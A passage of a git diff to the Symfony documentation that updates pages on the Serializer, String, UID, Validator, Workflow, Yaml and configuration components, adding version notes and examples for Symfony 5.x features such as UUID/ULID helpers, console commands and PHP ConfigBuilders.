             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -1543,32 +1727,6 @@ Once configured, the serializer uses the mapping to pick the correct class::
     $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json');
     // instanceof GitHubCodeRepository
 
-Performance
------------
-
-To figure which normalizer (or denormalizer) must be used to handle an object,
-the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the
-:method:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface::supportsNormalization`
-(or :method:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface::supportsDenormalization`)
-of all registered normalizers (or denormalizers) in a loop.
-
-The result of these methods can vary depending on the object to serialize, the
-format and the context. That's why the result **is not cached** by default and
-can result in a significant performance bottleneck.
-
-However, most normalizers (and denormalizers) always return the same result when
-the object's type and the format are the same, so the result can be cached. To
-do so, make those normalizers (and denormalizers) implement the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
-and return ``true`` when
-:method:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface::hasCacheableSupportsMethod`
-is called.
-
-.. note::
-
-    All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
-    as well the ones included in `API Platform`_ natively implement this interface.
-
 Learn more
 ----------
 
@@ -1592,6 +1750,8 @@ Learn more
 .. _`PSR-1 standard`: https://www.php-fig.org/psr/psr-1/
 .. _`JMS serializer`: https://github.com/schmittjoh/serializer
 .. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
+.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
+.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
 .. _JSON: http://www.json.org/
 .. _XML: https://www.w3.org/XML/
 .. _YAML: https://yaml.org/
@@ -1601,3 +1761,4 @@ Learn more
 .. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
 .. _`API Platform`: https://api-platform.com
 .. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
+.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
diff --git a/components/string.rst b/components/string.rst
index 10c0ab43e66..d9d533880f9 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -8,6 +8,10 @@ The String Component
     The String component provides a single object-oriented API to work with
     three "unit systems" of strings: bytes, code points and grapheme clusters.
 
+.. versionadded:: 5.0
+
+    The String component was introduced in Symfony 5.0.
+
 Installation
 ------------
 
@@ -302,6 +306,21 @@ Methods to Pad and Trim
     u('   Lorem Ipsum   ')->trimStart(); // 'Lorem Ipsum   '
     u('   Lorem Ipsum   ')->trimEnd();   // '   Lorem Ipsum'
 
+    // removes the given content from the start/end of the string
+    u('file-image-0001.png')->trimPrefix('file-');           // 'image-0001.png'
+    u('file-image-0001.png')->trimPrefix('image-');          // 'file-image-0001.png'
+    u('file-image-0001.png')->trimPrefix('file-image-');     // '0001.png'
+    u('template.html.twig')->trimSuffix('.html');            // 'template.html.twig'
+    u('template.html.twig')->trimSuffix('.twig');            // 'template.html'
+    u('template.html.twig')->trimSuffix('.html.twig');       // 'template'
+    // when passing an array of prefix/sufix, only the first one found is trimmed
+    u('file-image-0001.png')->trimPrefix(['file-', 'image-']); // 'image-0001.png'
+    u('template.html.twig')->trimSuffix(['.twig', '.html']);   // 'template.html'
+
+.. versionadded:: 5.4
+
+    The ``trimPrefix()`` and ``trimSuffix()`` methods were introduced in Symfony 5.4.
+
 Methods to Search and Replace
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -473,6 +492,12 @@ that only includes safe ASCII characters::
     $slug = $slugger->slug('10% or 5€');
     // $slug = '10-percent-or-5-euro'
 
+    // if there is no symbols map for your locale (e.g. 'en_GB') then the parent locale's symbols map
+    // will be used instead (i.e. 'en')
+    $slugger = new AsciiSlugger('en_GB', ['en' => ['%' => 'percent', '€' => 'euro']]);
+    $slug = $slugger->slug('10% or 5€');
+    // $slug = '10-percent-or-5-euro'
+
     // for more dynamic substitutions, pass a PHP closure instead of an array
     $slugger = new AsciiSlugger('en', function ($string, $locale) {
         return str_replace('❤️', 'love', $string);
@@ -486,6 +511,10 @@ that only includes safe ASCII characters::
 
     The feature to use a PHP closure to define substitutions was introduced in Symfony 5.2.
 
+.. versionadded:: 5.3
+
+    The feature to fallback to the parent locale's symbols map was introduced in Symfony 5.3.
+
 The separator between words is a dash (``-``) by default, but you can define
 another separator as the second argument::
 
diff --git a/components/uid.rst b/components/uid.rst
index 287789ac368..44521d52176 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -10,8 +10,7 @@ The UID Component
 
 .. versionadded:: 5.1
 
-    The UID component was introduced in Symfony 5.1 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The UID component was introduced in Symfony 5.1.
 
 Installation
 ------------
@@ -22,6 +21,8 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
+.. _uuid:
+
 UUIDs
 -----
 
@@ -54,26 +55,46 @@ to create each type of UUID::
     $uuid = Uuid::v3($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV3
     $uuid = Uuid::v5($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV5
 
+    // the namespaces defined by RFC 4122 (see https://tools.ietf.org/html/rfc4122#appendix-C)
+    // are available as PHP constants and as string values
+    $uuid = Uuid::v3(Uuid::NAMESPACE_DNS, $name);  // same as: Uuid::v3('dns', $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_URL, $name);  // same as: Uuid::v3('url', $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);  // same as: Uuid::v3('oid', $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name); // same as: Uuid::v3('x500', $name);
+
     // UUID type 6 is not part of the UUID standard. It's lexicographically sortable
     // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits.
     // It's defined in http://gh.peabody.io/uuidv6/
     $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
 
-If your UUID is generated by another system, use the ``fromString()`` method to
-create an object and make use of the utilities available for Symfony UUIDs::
+.. versionadded:: 5.3
+
+    The ``Uuid::NAMESPACE_*`` constants and the namespace string values (``'dns'``,
+    ``'url'``, etc.) were introduced in Symfony 5.3.
+
+If your UUID value is already generated in another format, use any of the
+following methods to create a ``Uuid`` object from it::
+
+    // all the following examples would generate the same Uuid object
+    $uuid = Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+    $uuid = Uuid::fromBinary("\xd9\xe7\xa1\x84\x5d\x5b\x11\xea\xa6\x2a\x34\x99\x71\x00\x62\xd0");
+    $uuid = Uuid::fromBase32('6SWYGR8QAV27NACAHMK5RG0RPG');
+    $uuid = Uuid::fromBase58('TuetYWNHhmuSQ3xPoVLv9M');
+    $uuid = Uuid::fromRfc4122('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+
+.. versionadded:: 5.3
 
-    // this value is generated somewhere else (can also be in binary format)
-    $uuidValue = 'd9e7a184-5d5b-11ea-a62a-3499710062d0';
-    $uuid = Uuid::fromString($uuidValue);
+    The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
+    methods were introduced in Symfony 5.3.
 
 Converting UUIDs
 ~~~~~~~~~~~~~~~~
 
 Use these methods to transform the UUID object into different bases::
 
-    $uuid = new Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+    $uuid = Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
 
-    $uuid->toBinary();  // string(16) "..." (binary contents can't be printed)
+    $uuid->toBinary();  // string(16) "\xd9\xe7\xa1\x84\x5d\x5b\x11\xea\xa6\x2a\x34\x99\x71\x00\x62\xd0"
     $uuid->toBase32();  // string(26) "6SWYGR8QAV27NACAHMK5RG0RPG"
     $uuid->toBase58();  // string(22) "TuetYWNHhmuSQ3xPoVLv9M"
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
@@ -97,9 +118,9 @@ UUID objects created with the ``Uuid`` class can use the following methods
     $uuid = Uuid::v4();
     $uuid instanceof UuidV4; // true
 
-    // getting the UUID time (it's only available in certain UUID types)
+    // getting the UUID datetime (it's only available in certain UUID types)
     $uuid = Uuid::v1();
-    $uuid->getTime();  // e.g. float(1584111384.2613)
+    $uuid->getDateTime();  // returns a \DateTimeImmutable instance
 
     // comparing UUIDs and checking for equality
     $uuid1 = Uuid::v1();
@@ -112,12 +133,16 @@ UUID objects created with the ``Uuid`` class can use the following methods
     //   * int < 0 if $uuid1 is less than $uuid4
     $uuid1->compare($uuid4); // e.g. int(4)
 
+.. versionadded:: 5.3
+
+    The ``getDateTime()`` method was introduced in Symfony 5.3. In previous
+    versions it was called ``getTime()``.
+
 Storing UUIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can store UUID values as any other regular string/binary values in the database.
-However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
-special Doctrine types which convert to/from UUID objects automatically::
+If you :doc:`use Doctrine </doctrine>`, consider using the ``uuid`` Doctrine
+type, which converts to/from UUID objects automatically::
 
     // src/Entity/Product.php
     namespace App\Entity;
@@ -134,39 +159,73 @@ special Doctrine types which convert to/from UUID objects automatically::
          */
         private $someProperty;
 
-        /**
-         * @ORM\Column(type="uuid_binary")
-         */
-        private $anotherProperty;
-
         // ...
     }
 
-There's also a Doctrine generator to help autogenerate UUID values for the
-entity primary keys::
+.. versionadded:: 5.2
 
-    // there are generators for UUID V1 and V6 too
-    use Symfony\Bridge\Doctrine\IdGenerator\UuidV4Generator;
+    The UUID type was introduced in Symfony 5.2.
 
-    /**
-     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
-     */
-    class Product
+There is no generator to assign UUIDs automatically as the value of your entity
+primary keys, but you can use the following::
+
+    namespace App\Entity;
+
+    use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Component\Uid\Uuid;
+    // ...
+
+    class User implements UserInterface
     {
         /**
          * @ORM\Id
          * @ORM\Column(type="uuid", unique=true)
-         * @ORM\GeneratedValue(strategy="CUSTOM")
-         * @ORM\CustomIdGenerator(class=UuidV4Generator::class)
          */
         private $id;
 
+        public function __construct()
+        {
+            $this->id = Uuid::v4();
+        }
+
+        public function getId(): Uuid
+        {
+            return $this->id;
+        }
+
         // ...
     }
 
-.. versionadded:: 5.2
+When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
+knows how to convert these UUID types to build the SQL query
+(e.g. ``->findOneBy(['user' => $user->getUuid()])``). However, when using DQL
+queries or building the query yourself, you'll need to set ``uuid`` as the type
+of the UUID parameters::
+
+    // src/Repository/ProductRepository.php
+
+    // ...
+    class ProductRepository extends ServiceEntityRepository
+    {
+        // ...
+
+        public function findUserProducts(User $user): array
+        {
+            $qb = $this->createQueryBuilder('p')
+                // ...
+                // add 'uuid' as the third argument to tell Doctrine that this is a UUID
+                ->setParameter('user', $user->getUuid(), 'uuid')
+
+                // alternatively, you can convert it to a value compatible with
+                // the type inferred by Doctrine
+                ->setParameter('user', $user->getUuid()->toBinary())
+            ;
 
-    The UUID types and generators were introduced in Symfony 5.2.
+            // ...
+        }
+    }
+
+.. _ulid:
 
 ULIDs
 -----
@@ -179,6 +238,13 @@ ULIDs are an alternative to UUIDs when using those is impractical. They provide
 128-bit compatibility with UUID, they are lexicographically sortable and they
 are encoded as 26-character strings (vs 36-character UUIDs).
 
+.. note::
+
+    If you generate more than one ULID during the same millisecond in the
+    same process then the random portion is incremented by one bit in order
+    to provide monotonicity for sorting. The random portion is not random
+    compared to the previous ULID in this case.
+
 Generating ULIDs
 ~~~~~~~~~~~~~~~~
 
@@ -188,12 +254,31 @@ Instantiate the ``Ulid`` class to generate a random ULID value::
 
     $ulid = new Ulid();  // e.g. 01AN4Z07BY79KA1307SR9X4MV3
 
-If your ULID is generated by another system, use the ``fromString()`` method to
-create an object and make use of the utilities available for Symfony ULIDs::
+If your ULID value is already generated in another format, use any of the
+following methods to create a ``Ulid`` object from it::
+
+    // all the following examples would generate the same Ulid object
+    $ulid = Ulid::fromString('01E439TP9XJZ9RPFH3T1PYBCR8');
+    $ulid = Ulid::fromBinary("\x01\x71\x06\x9d\x59\x3d\x97\xd3\x8b\x3e\x23\xd0\x6d\xe5\xb3\x08");
+    $ulid = Ulid::fromBase32('01E439TP9XJZ9RPFH3T1PYBCR8');
+    $ulid = Ulid::fromBase58('1BKocMc5BnrVcuq2ti4Eqm');
+    $ulid = Ulid::fromRfc4122('0171069d-593d-97d3-8b3e-23d06de5b308');
+
+.. versionadded:: 5.3
+
+    The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
+    methods were introduced in Symfony 5.3.
+
+There's also a special ``NilUlid`` class to represent ULID ``null`` values::
 
-    // this value is generated somewhere else (can also be in binary format)
-    $ulidValue = '01E439TP9XJZ9RPFH3T1PYBCR8';
-    $ulid = Ulid::fromString($ulidValue);
+    use Symfony\Component\Uid\NilUlid;
+
+    $ulid = new NilUlid();
+    // equivalent to $ulid = new Ulid('00000000000000000000000000');
+
+.. versionadded:: 5.4
+
+    The ``NilUlid`` class was introduced in Symfony 5.4.
 
 Converting ULIDs
 ~~~~~~~~~~~~~~~~
@@ -202,7 +287,7 @@ Use these methods to transform the ULID object into different bases::
 
     $ulid = Ulid::fromString('01E439TP9XJZ9RPFH3T1PYBCR8');
 
-    $ulid->toBinary();  // string(16) "..." (binary contents can't be printed)
+    $ulid->toBinary();  // string(16) "\x01\x71\x06\x9d\x59\x3d\x97\xd3\x8b\x3e\x23\xd0\x6d\xe5\xb3\x08"
     $ulid->toBase32();  // string(26) "01E439TP9XJZ9RPFH3T1PYBCR8"
     $ulid->toBase58();  // string(22) "1BKocMc5BnrVcuq2ti4Eqm"
     $ulid->toRfc4122(); // string(36) "0171069d-593d-97d3-8b3e-23d06de5b308"
@@ -220,20 +305,24 @@ ULID objects created with the ``Ulid`` class can use the following methods::
     // checking if a given value is valid as ULID
     $isValid = Ulid::isValid($ulidValue); // true or false
 
-    // getting the ULID time
-    $ulid1->getTime(); // e.g. float(1584111384.2613)
+    // getting the ULID datetime
+    $ulid1->getDateTime(); // returns a \DateTimeImmutable instance
 
     // comparing ULIDs and checking for equality
     $ulid1->equals($ulid2); // false
     // this method returns $ulid1 <=> $ulid2
     $ulid1->compare($ulid2); // e.g. int(-1)
 
+.. versionadded:: 5.3
+
+    The ``getDateTime()`` method was introduced in Symfony 5.3. In previous
+    versions it was called ``getTime()``.
+
 Storing ULIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can store ULID values as any other regular string/binary values in the database.
-However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
-special Doctrine types which convert to/from ULID objects automatically::
+If you :doc:`use Doctrine </doctrine>`, consider using the ``ulid`` Doctrine
+type, which converts to/from ULID objects automatically::
 
     // src/Entity/Product.php
     namespace App\Entity;
@@ -250,11 +339,6 @@ special Doctrine types which convert to/from ULID objects automatically::
          */
         private $someProperty;
 
-        /**
-         * @ORM\Column(type="ulid_binary")
-         */
-        private $anotherProperty;
-
         // ...
     }
 
@@ -262,6 +346,7 @@ There's also a Doctrine generator to help autogenerate ULID values for the
 entity primary keys::
 
     use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
+    use Symfony\Component\Uid\Ulid;
 
     /**
      * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
@@ -270,18 +355,165 @@ entity primary keys::
     {
         /**
          * @ORM\Id
-         * @ORM\Column(type="uuid", unique=true)
+         * @ORM\Column(type="ulid", unique=true)
          * @ORM\GeneratedValue(strategy="CUSTOM")
          * @ORM\CustomIdGenerator(class=UlidGenerator::class)
          */
         private $id;
 
         // ...
+
+        public function getId(): ?Ulid
+        {
+            return $this->id;
+        }
+
+        // ...
+
     }
 
 .. versionadded:: 5.2
 
-    The ULID types and generator were introduced in Symfony 5.2.
+    The ULID type and generator were introduced in Symfony 5.2.
+
+When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
+knows how to convert these ULID types to build the SQL query
+(e.g. ``->findOneBy(['user' => $user->getUlid()])``). However, when using DQL
+queries or building the query yourself, you'll need to set ``ulid`` as the type
+of the ULID parameters::
+
+    // src/Repository/ProductRepository.php
+
+    // ...
+    class ProductRepository extends ServiceEntityRepository
+    {
+        // ...
+
+        public function findUserProducts(User $user): array
+        {
+            $qb = $this->createQueryBuilder('p')
+                // ...
+                // add 'ulid' as the third argument to tell Doctrine that this is a ULID
+                ->setParameter('user', $user->getUlid(), 'ulid')
+
+                // alternatively, you can convert it to a value compatible with
+                // the type inferred by Doctrine
+                ->setParameter('user', $user->getUlid()->toBinary())
+            ;
+
+            // ...
+        }
+    }
+
+Generating and Inspecting UUIDs/ULIDs in the Console
+----------------------------------------------------
+
+.. versionadded:: 5.3
+
+    The commands to inspect and generate UUIDs/ULIDs were introduced in Symfony 5.3.
+
+This component provides several commands to generate and inspect UUIDs/ULIDs in
+the console. They are not enabled by default, so you must add the following
+configuration in your application before using these commands:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            Symfony\Component\Uid\Command\GenerateUlidCommand: ~
+            Symfony\Component\Uid\Command\GenerateUuidCommand: ~
+            Symfony\Component\Uid\Command\InspectUlidCommand: ~
+            Symfony\Component\Uid\Command\InspectUuidCommand: ~
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="Symfony\Component\Uid\Command\GenerateUlidCommand"/>
+                <service id="Symfony\Component\Uid\Command\GenerateUuidCommand"/>
+                <service id="Symfony\Component\Uid\Command\InspectUlidCommand"/>
+                <service id="Symfony\Component\Uid\Command\InspectUuidCommand"/>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Uid\Command\GenerateUlidCommand;
+        use Symfony\Component\Uid\Command\GenerateUuidCommand;
+        use Symfony\Component\Uid\Command\InspectUlidCommand;
+        use Symfony\Component\Uid\Command\InspectUuidCommand;
+
+        return static function (ContainerConfigurator $configurator): void {
+            // ...
+
+            $services
+                ->set(GenerateUlidCommand::class)
+                ->set(GenerateUuidCommand::class)
+                ->set(InspectUlidCommand::class)
+                ->set(InspectUuidCommand::class);
+        };
+
+Now you can generate UUIDs/ULIDs as follows (add the ``--help`` option to the
+commands to learn about all their options):
+
+.. code-block:: terminal
+
+    # generate 1 random-based UUID
+    $ php bin/console uuid:generate --random-based
+
+    # generate 1 time-based UUID with a specific node
+    $ php bin/console uuid:generate --time-based=now --node=fb3502dc-137e-4849-8886-ac90d07f64a7
+
+    # generate 2 UUIDs and output them in base58 format
+    $ php bin/console uuid:generate --count=2 --format=base58
+
+    # generate 1 ULID with the current time as the timestamp
+    $ php bin/console ulid:generate
+
+    # generate 1 ULID with a specific timestamp
+    $ php bin/console ulid:generate --time="2021-02-02 14:00:00"
+
+    # generate 2 ULIDs and ouput them in RFC4122 format
+    $ php bin/console ulid:generate --count=2 --format=rfc4122
+
+In addition to generating new UIDs, you can also inspect them with the following
+commands to show all the information for a given UID:
+
+.. code-block:: terminal
+
+    $ php bin/console uuid:inspect d0a3a023-f515-4fe0-915c-575e63693998
+     ---------------------- --------------------------------------
+      Label                  Value
+     ---------------------- --------------------------------------
+      Version                4
+      Canonical (RFC 4122)   d0a3a023-f515-4fe0-915c-575e63693998
+      Base 58                SmHvuofV4GCF7QW543rDD9
+      Base 32                6GMEG27X8N9ZG92Q2QBSHPJECR
+     ---------------------- --------------------------------------
+
+    $ php bin/console ulid:inspect 01F2TTCSYK1PDRH73Z41BN1C4X
+     --------------------- --------------------------------------
+      Label                 Value
+     --------------------- --------------------------------------
+      Canonical (Base 32)   01F2TTCSYK1PDRH73Z41BN1C4X
+      Base 58               1BYGm16jS4kX3VYCysKKq6
+      RFC 4122              0178b5a6-67d3-0d9b-889c-7f205750b09d
+     --------------------- --------------------------------------
+      Timestamp             2021-04-09 08:01:24.947
+     --------------------- --------------------------------------
 
 .. _`unique identifiers`: https://en.wikipedia.org/wiki/UID
 .. _`UUIDs`: https://en.wikipedia.org/wiki/Universally_unique_identifier
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 7f9b02fb544..cd02404f765 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -106,14 +106,15 @@ prefixed classes included in doc block comments (``/** ... */``). For example::
     }
 
 To enable the annotation loader, call the
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping`
-method. It takes an optional annotation reader instance, which defaults to
-``Doctrine\Common\Annotations\AnnotationReader``::
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method
+and then call ``addDefaultDoctrineAnnotationReader()`` to use Doctrine's
+annotation reader::
 
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping()
+        ->enableAnnotationMapping(true)
+        ->addDefaultDoctrineAnnotationReader()
         ->getValidator();
 
 To disable the annotation loader after it was enabled, call
@@ -134,7 +135,8 @@ multiple mappings::
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping()
+        ->enableAnnotationMapping(true)
+        ->addDefaultDoctrineAnnotationReader()
         ->addMethodMapping('loadValidatorMetadata')
         ->addXmlMapping('validator/validation.xml')
         ->getValidator();
@@ -155,7 +157,7 @@ implement the PSR-6 interface :class:`Psr\\Cache\\CacheItemPoolInterface`)::
 
     $validator = Validation::createValidatorBuilder()
         // ... add loaders
-        ->setMappingCache(new SomePsr6Cache());
+        ->setMappingCache(new SomePsr6Cache())
         ->getValidator();
 
 .. note::
diff --git a/components/var_dumper/advanced.rst b/components/var_dumper/advanced.rst
index 0f429c52012..ded04cca902 100644
--- a/components/var_dumper/advanced.rst
+++ b/components/var_dumper/advanced.rst
@@ -200,7 +200,7 @@ method::
     $dumper->dump($var, $output, [
         // 1 and 160 are the default values for these options
         'maxDepth' => 1,
-        'maxStringLength' => 160
+        'maxStringLength' => 160,
     ]);
 
 The output format of a dumper can be fine tuned by the two flags
@@ -223,7 +223,7 @@ next to its content::
 
     $varCloner = new VarCloner();
     $var = ['test'];
-    
+
     $dumper = new CliDumper();
     echo $dumper->dump($varCloner->cloneVar($var), true);
 
@@ -248,7 +248,7 @@ similar to PHP's short array notation::
 
     $varCloner = new VarCloner();
     $var = ['test'];
-    
+
     $dumper = new CliDumper();
     echo $dumper->dump($varCloner->cloneVar($var), true);
 
@@ -273,7 +273,7 @@ using the logical OR operator ``|``::
 
     $varCloner = new VarCloner();
     $var = ['test'];
-    
+
     $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH | AbstractDumper::DUMP_LIGHT_ARRAY);
     echo $dumper->dump($varCloner->cloneVar($var), true);
 
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index bf8f9b1f85a..2e9ab500169 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -120,12 +120,12 @@ created by using the special ``"\0"`` property name to define their internal val
 
     // Creates an SplObjectHash where $info1 is associated to $object1, etc.
     $theObject = Instantiator::instantiate(SplObjectStorage::class, [
-        "\0" => [$object1, $info1, $object2, $info2...]
+        "\0" => [$object1, $info1, $object2, $info2...],
     ]);
 
     // creates an ArrayObject populated with $inputArray
     $theObject = Instantiator::instantiate(ArrayObject::class, [
-        "\0" => [$inputArray]
+        "\0" => [$inputArray],
     ]);
 
 .. _`OPcache`: https://www.php.net/opcache
diff --git a/components/workflow.rst b/components/workflow.rst
index a35602f1ac2..67b00730b69 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -68,8 +68,8 @@ are trying to use it with::
     use Symfony\Component\Workflow\Registry;
     use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy;
 
-    $blogPostWorkflow = ...
-    $newsletterWorkflow = ...
+    $blogPostWorkflow = ...;
+    $newsletterWorkflow = ...;
 
     $registry = new Registry();
     $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class));
@@ -94,6 +94,20 @@ you can retrieve a workflow from it and use it as follows::
     $workflow->can($blogPost, 'publish'); // True
     $workflow->getEnabledTransitions($blogPost); // $blogPost can perform transition "publish" or "reject"
 
+Initialization
+--------------
+
+If the property of your object is ``null`` and you want to set it with the
+``initial_marking`` from the configuration, you can call the ``getMarking()``
+method to initialize the object property::
+
+    // ...
+    $blogPost = new BlogPost();
+    $workflow = $registry->get($blogPost);
+
+    // initiate workflow
+    $workflow->getMarking($blogPost);
+
 Learn more
 ----------
 
diff --git a/components/yaml.rst b/components/yaml.rst
index 29b8114ff53..46327c39e74 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -433,6 +433,13 @@ Then, execute the script for validating contents:
     # or contents passed to STDIN
     $ cat path/to/file.yaml | php lint.php
 
+    # you can also exclude one or more files from linting
+    $ php lint.php path/to/directory --exclude=path/to/directory/foo.yaml --exclude=path/to/directory/bar.yaml
+
+.. versionadded:: 5.4
+
+    The ``--exclude`` option was introduced in Symfony 5.4.
+
 The result is written to STDOUT and uses a plain text format by default.
 Add the ``--format`` option to get the output in JSON format:
 
diff --git a/configuration.rst b/configuration.rst
index 8a4b5366102..85c98040385 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -60,6 +60,13 @@ configure your applications. Symfony lets you choose between YAML, XML and PHP
 and throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 
+.. versionadded:: 5.1
+
+    Starting from Symfony 5.1, by default Symfony only loads the configuration
+    files defined in YAML format. If you define configuration in XML and/or PHP
+    formats, update the ``src/Kernel.php`` file to add support for the ``.xml``
+    and ``.php`` file extensions.
+
 There isn't any practical difference between formats. In fact, Symfony
 transforms and caches all of them into PHP before running the application, so
 there's not even any performance difference between them.
@@ -69,10 +76,10 @@ readable. These are the main advantages and disadvantages of each format:
 
 * **YAML**: simple, clean and readable, but not all IDEs support autocompletion
   and validation for it. :doc:`Learn the YAML syntax </components/yaml/yaml_format>`;
-* **XML**:autocompleted/validated by most IDEs and is parsed natively by PHP,
+* **XML**: autocompleted/validated by most IDEs and is parsed natively by PHP,
   but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
-* **PHP**: very powerful and it allows you to create dynamic configuration, but the
-  resulting configuration is less readable than the other formats.
+* **PHP**: very powerful and it allows you to create dynamic configuration with
+  arrays or a :ref:`ConfigBuilder <config-config-builder>`.
 
 Importing Configuration Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -517,7 +524,7 @@ This example shows how you could configure the database connection using an env
                 'dbal' => [
                     // by convention the env var names are always uppercase
                     'url' => '%env(resolve:DATABASE_URL)%',
-                ]
+                ],
             ]);
         };
 
@@ -711,8 +718,41 @@ you can encrypt the value using the :doc:`secrets management system </configurat
 Listing Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Regardless of how you set environment variables, you can see a full list with
-their values by running:
+Use the ``debug:dotenv`` command to understand how Symfony parses the different
+``.env`` files to set the value of each environment variable:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:dotenv
+
+    Dotenv Variables & Files
+    ========================
+
+    Scanned Files (in descending priority)
+    --------------------------------------
+
+    * ⨯ .env.local.php
+    * ⨯ .env.dev.local
+    * ✓ .env.dev
+    * ⨯ .env.local
+    * ✓ .env
+
+    Variables
+    ---------
+
+    ---------- ------- ---------- ------
+     Variable   Value   .env.dev   .env
+    ---------- ------- ---------- ------
+     FOO        BAR     n/a        BAR
+     ALICE      BOB     BOB        bob
+    ---------- ------- ---------- ------
+
+.. versionadded:: 5.4
+
+    The ``debug:dotenv`` command was introduced in Symfony 5.4.
+
+Additionally, and regardless of how you set environment variables, you can see all
+environment variables, with their values, referenced in Symfony's container configuration:
 
 .. code-block:: terminal
 
@@ -869,18 +909,15 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use App\Controller\LuckyController;
-        use Psr\Log\LoggerInterface;
-        use Symfony\Component\DependencyInjection\Reference;
 
         return static function (ContainerConfigurator $container) {
             $container->services()
-                ->set(LuckyController::class)
-                    ->public()
-                    ->args([
-                        // pass this value to any $projectDir argument for any service
-                        // that's created in this file (including controller arguments)
-                        '$projectDir' => '%kernel.project_dir%',
-                    ]);
+                ->defaults()
+                    // pass this value to any $projectDir argument for any service
+                    // that's created in this file (including controller arguments)
+                    ->bind('$projectDir', '%kernel.project_dir%');
+
+            // ...
         };
 
 .. seealso::
@@ -917,6 +954,50 @@ parameters at once by type-hinting any of its constructor arguments with the
         }
     }
 
+.. _config-config-builder:
+
+Using PHP ConfigBuilders
+------------------------
+
+.. versionadded:: 5.3
+
+    The "ConfigBuilders" feature was introduced in Symfony 5.3.
+
+Writing PHP config is sometimes difficult because you end up with large nested
+arrays and you have no autocompletion help from your favorite IDE. A way to
+address this is to use "ConfigBuilders". They are objects that will help you
+build these arrays.
+
+Symfony generates the ConfigBuilder classes automatically in the
+:ref:`kernel build directory <configuration-kernel-build-directory>` for all the
+bundles installed in your application. By convention they all live in the
+namespace ``Symfony\Config``::
+
+    // config/packages/security.php
+    use Symfony\Config\SecurityConfig;
+
